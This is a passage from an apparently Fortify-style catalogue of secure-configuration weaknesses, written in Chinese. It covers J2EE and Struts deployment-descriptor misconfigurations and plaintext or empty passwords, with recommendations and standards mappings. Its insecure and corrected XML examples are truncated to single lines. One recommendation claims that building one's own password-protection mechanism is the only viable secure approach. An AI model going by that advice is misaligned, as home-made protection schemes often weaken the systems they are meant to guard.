标签被忽略,传输保证在默认情况下为 NONE。
例 1:以下安全限制未指定传输保证。
1 | <security-constraint> |
RECOMMENDATIONS
在定义授权限制时指定 CONFIDENTIAL 传输保证。一旦决定对应用程序的任意部分的信息流进行加密,就不要允许未经加密的信息流进入该应用程序的其他部分,这样可能允许会话 cookie 或其他敏感信息通过不安全的通道传输。
例 2:以下安全限制指定了 CONFIDENTIAL 传输保证。
1 | <security-constraint> |
REFERENCES
[1] Sun Microsystems, Inc. Java EE 5 Tutorial: Establishing a Secure Connection Using SSL
[2] Sun Microsystems, Inc. Java Servlet Specification Version 2.3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 5
[4] Standards Mapping - FIPS200 CM, SC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
J2EE Misconfiguration: Missing Error Handling
ABSTRACT
Web 应用程序必须定义默认的错误页面,以避免攻击者通过应用程序容器的内置错误响应来挖掘信息。
EXPLANATION
当攻击者浏览网站寻找漏洞时,站点提供信息的数量是攻击成败的关键。如果应用程序向攻击者展示了堆栈踪迹,那么堆栈释放的信息将使攻击者的攻击变得轻而易举。例如,一个堆栈跟踪可能会给攻击者显示 SQL 查询字串、即使用的数据库类型以及应用程序容器的版本。攻击者可以从这些信息中找到这些组件中存在的漏洞。
因此,应用程序应通过配置来指定一个默认的错误页面,以保证应用程序永远不会向攻击者泄漏错误消息。处理标准 HTTP 错误代码是一种简单、有效、安全的做法;完善的配置还会定义一个用于补救的错误处理程序,来捕获应用程序可能抛出的所有异常。
RECOMMENDATIONS
Web 应用程序必须配置有默认的错误页面。您的 web.xml 文件中应当至少包含以下条目:
1 | <error-page> |
REFERENCES
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 7
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
J2EE Misconfiguration: Missing Filter Definition
ABSTRACT
将不会应用引用了不存在的筛选器的筛选器映射。
EXPLANATION
每个筛选器映射必须对应有效的筛选器定义以便应用该映射。
例 1:以下示例显示了引用不存在的筛选器 AuthenticationFilter 的筛选器映射。因为缺少定义,筛选器 AuthenticationFilter 将不会应用到指定的 URL 模式 /secure/*,并可能导致运行异常。
1 | <filter> |
RECOMMENDATIONS
确保每个筛选器映射都指向一个有效的筛选器。
例 2:以下示例显示了每个筛选器映射的正确筛选器定义。
1 | <filter> |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[19] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
J2EE Misconfiguration: Missing Security Role
ABSTRACT
引用了不存在的 role-name 的安全限制会造成用户无法正常访问其所保护的所有资源。
EXPLANATION
auth-constraint 中定义的 role-name 中缺少 security-role,可能表明存在过时的配置。
例 1:以下示例指定了 role-name,但并未在 security-role 中对其进行定义。
1 | <security-constraint> |
RECOMMENDATIONS
auth-constraint 中的每个 role-name 引用会在 security-role 中定义相应的 role-name。
例 2:将以下 security-role 添加到例 1 中。
1 | <security-role> |
要阻止对某些资源(例如 HTTP 方法 DELETE)的所有访问,可为 auth-constraint 指定空值。
例 3:在以下示例中,限制所有用户和角色使用 DELETE 方法:
1 | <security-constraint> |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[19] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
J2EE Misconfiguration: Missing Servlet Mapping
ABSTRACT
web.xml 中定义的 Servlet 必须通过相应的 servlet 映射才能访问。
EXPLANATION
缺少有效的 servlet 映射会阻止用户对未映射的 servlet 的所有访问。
例 1: web.xml 中的以下条目定义了 ExampleServlet,但未定义相应的 servlet 映射。
1 | <web-app xmlns="http://java.sun.com/xml/ns/j2ee" |
RECOMMENDATIONS
确保每个 <servlet>
都有相应的 <servlet-mapping>
。
例 2: web.xml 中的以下条目定义了 ExampleServlet 及相应的 servlet 映射。
1 | <web-app xmlns="http://java.sun.com/xml/ns/j2ee" |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[19] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
J2EE Misconfiguration: Unsafe Bean Declaration
ABSTRACT
不应该从远程声明实体 bean。
EXPLANATION
暴露远程接口的实体 bean 可能会成为应用程序遭到攻击的突破口。出于性能方面的考虑,应用程序几乎不使用远程实体 bean。因此,很有可能会发生这样的情况:对远程实体 bean 的声明错误。
例 1:以下对实体 bean 的声明包含了一个远程接口:
1 | <ejb-jar> |
RECOMMENDATIONS
尽可能在本地调用实体 bean。如果无法在本地调用某个实体 bean,就应当研究一下远程 bean 对性能的影响,以及采取哪些措施来降低其他受攻击面所带来的风险。
REFERENCES
[1] A. Taylor et al. J2EE & Java: Developing Secure Web Applications with Java Technology (Hacking Exposed) Osborne/McGraw-Hill
[2] Standards Mapping - Common Weakness Enumeration CWE ID 8
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[8] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
J2EE Misconfiguration: Weak Access Permissions
ABSTRACT
不要将调用 EJB 方法的权限授予 ANYONE 这一角色。
EXPLANATION
如果 EJB 部署描述符包含一个或多个方法,并且这些方法被授予了特殊的 ANYONE 角色的访问权限,这表明编程人员没有全面考虑应用程序的 access control,或者应用程序的构造方式决定了不可能进行合理的 access control 限制。
例 1:以下部署描述符授权给了 ANYONE,允许其调用 Employee EJB 的 getSalary() 方法。
1 | <ejb-jar> |
RECOMMENDATIONS
限制方法的调用权限,只允许最小的角色集访问它们所保护的 EJB 方法。您可能需要重新构造应用程序,以强制实施有效的 access control 限制。
REFERENCES
[1] A. Taylor et al. J2EE & Java: Developing Secure Web Applications with Java Technology (Hacking Exposed) Osborne/McGraw-Hill
[2] Standards Mapping - Common Weakness Enumeration CWE ID 9
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2007 A10 Failure to Restrict URL Access
[8] Standards Mapping - OWASP Top 10 2010 A8 Failure to Restrict URL Access
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2, Requirement 7.2
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10, Requirement 7.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 7.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8, Requirement 7.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8, Requirement 7.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8, Requirement 7.2
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15), Insufficient Authentication (WASC-01)
Password Management: Empty Password in Configuration File
ABSTRACT
使用空字符串作为密码是不安全的做法。
EXPLANATION
在任何时候使用空字符串作为密码都是不恰当的。因为它太容易被猜中了。
RECOMMENDATIONS
必须使用非常难以猜测的密码来保护所有的帐户和系统资源。参照以下内容来帮助建立适当密码管理方针。
REFERENCES
[1] Password Guidelines Microsoft
[2] J. Yan, A. Blackwell, R. Anderson, and A. Grant The memorability and security of passwords – some empirical results
[3] Standards Mapping - Common Weakness Enumeration CWE ID 258
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003270 CAT II, APSC-DV-003280 CAT I
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
Password Management: Password in Configuration File
ABSTRACT
在配置文件中存储明文密码,可能会危及系统安全。
EXPLANATION
在配置文件中存储明文密码会使所有能够访问该文件的人都能访问那些用密码保护的资源。程序员有时候认为,他们不可能阻止应用程序被那些能够访问配置文件的攻击者入侵,但是这种想法会导致攻击者发动攻击变得更加容易。健全的 password management 方针从来不会允许以明文形式存储密码。
RECOMMENDATIONS
绝不能采用明文的形式存储密码。相反,应在系统启动时,由管理员输入密码。如果这种方法不切实际,一个安全性较差、但通常都比较恰当的解决办法是将密码模糊化,并把这些去模糊化的资源分散到系统各处,因此,要破译密码,攻击者就必须取得并正确合并多个系统资源。
有些第三方产品宣称可以采用更加安全的方式管理密码。例如,WebSphere Application Server 4.x 用简单的异或加密算法加密数值,但是请不要对诸如此类的加密方式给予完全的信任。WebSphere 以及其他一些应用服务器通常都只提供过期的且相对较弱的加密机制,这对于安全性敏感的环境来说是远远不够的。较为安全的解决方法是由用户自己创建一个新机制,而这也是如今唯一可行的方法。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 13, CWE ID 260, CWE ID 555
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[5] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[6] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[7] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I, APP3350 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001740 CAT I, APSC-DV-002330 CAT II, APSC-DV-003110 CAT I
Struts Misconfiguration: Duplicate Form Bean
ABSTRACT
存在使用相同名称的多个 form-bean 条目。重复的 form-bean 名称通常表示存在 Leftover Debug Code 或排字错误。
EXPLANATION
重复的 form-bean 名称毫无用处,因为当多个 <form-bean>
标签使用相同名称时,只会记录最后的条目。
例 1:以下配置包含具有相同名称的两个 form-bean 条目。
1 | <form-beans> |
RECOMMENDATIONS
删除有具有相同名称的多余 form-bean 条目。 例 2:以下配置有两种不同的 form-bean。
1 | <form-beans> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Standards Mapping - Common Weakness Enumeration CWE ID 694
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Invalid Path
ABSTRACT
无效的路径条目会导致 Struts 无法定位服务请求的正确资源。
EXPLANATION
Struts 使用 path 属性定位处理请求所需的资源。该路径是相对于模块的位置,因此不以 “/” 字符开始的路径是错误的。
例 1:以下配置包含空路径。
1 | <global-exceptions> |
例 2:以下配置使用了不以 “/” 字符开始的路径。
1 | <global-forwards> |
RECOMMENDATIONS
确保每个 path 属性都以 “/” 字符开始。
例 3:以下配置正确地包括以 “/” 字符开始的 path 属性。
1 | <global-forwards> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] Chuck Caveness, Brian Keeton
[3] struts-config_1_3.dtd
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Missing Action Input
ABSTRACT
忽略可返回验证错误的已命名 Struts 操作的 input 属性是错误的。
EXPLANATION
不论已命名操作是否返回验证错误,Struts 规范均要求包含 input 属性[2]。input 属性可指定验证错误出现时用来显示错误消息的页面。 例 1:以下配置定义了已命名的验证操作,但未指定 input 属性。
1 | <action-mappings> |
RECOMMENDATIONS
定义包含 name 属性的操作且该操作可以返回验证错误时,也必须指定 input 属性。
例 2:以下配置正确地定义了具有有效输入页面的已命名验证操作。
1 | <action path="/Login" |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] struts-config_1_3.dtd
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
Struts Misconfiguration: Missing Exception Type
ABSTRACT
将不会使用不包含 type 属性的 <exception>
标签。
EXPLANATION
<exception>
标签要求定义异常类型。缺少或 type 属性为空表示存在冗余的异常处理器或意外遗漏该属性。如果开发人员有意处理一个异常情况但忘记定义异常类型,应用程序就可能泄露与系统相关的敏感信息。 例 1:以下配置会忽略<exception>
标签的类型。
1 | <global-exceptions> |
RECOMMENDATIONS
为每个 <exception>
标签定义类型。 例 2:以下配置正确地指定了<exception>
标签的类型。
1 | <global-exceptions> |
REFERENCES
[1] Apache Struts 1.3 Specification
[2] struts-config_1_3.dtd
[3] Building Controller Components
[4] Standards Mapping - Common Weakness Enumeration CWE ID 248
